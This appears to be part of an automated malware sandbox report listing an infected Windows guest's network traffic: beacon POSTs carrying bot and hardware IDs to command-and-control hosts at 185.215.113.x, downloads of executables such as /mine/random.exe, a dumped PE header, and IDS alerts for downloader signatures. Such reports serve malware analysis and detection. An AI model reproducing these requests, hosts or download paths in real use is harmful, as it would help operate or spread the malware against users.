Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 03:36:09 GMTContent-Type: application/octet-streamContent-Length: 1873408Last-Modified: Wed, 30 Oct 2024 03:11:30 GMTConnection: keep-aliveETag: "6721a3e2-1c9600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4a 00 00 04 00 00 61 9b 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 4a 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 49 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6c 74 76 62 74 75 62 00 80 19 00 00 d0 30 00 00 7c 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 61 6b 65 6c 75 70 67 00 10 00 00 00 50 4a 00 00 04 00 00 00 70 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4a 00 00 22 00 00 00 74 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 35 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002527001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 35 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002528001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 46 39 31 35 41 35 38 37 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="hwid"56F915A587C62507286958------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="build"tale------HJJEHJJKJEGHJJKEBFBG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 35 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002529001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBAFHJJDAKEBGCFCBGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 46 39 31 35 41 35 38 37 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="hwid"56F915A587C62507286958------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="build"tale------EGDBAFHJJDAKEBGCFCBG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 35 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002530001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 46 39 31 35 41 35 38 37 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 2d 2d 0d 0a Data Ascii: ------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="hwid"56F915A587C62507286958------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="build"tale------DGCFHIDAKECFHIEBFCGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKEGIDBGHIDGDHDBFHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 36 46 39 31 35 41 35 38 37 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 2d 2d 0d 0a Data Ascii: ------BKKKEGIDBGHIDGDHDBFHContent-Disposition: form-data; name="hwid"56F915A587C62507286958------BKKKEGIDBGHIDGDHDBFHContent-Disposition: form-data; name="build"tale------BKKKEGIDBGHIDGDHDBFH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.117.188.166 34.117.188.166
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49781 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49983 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49986 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49994 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49999 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49999 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50035 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
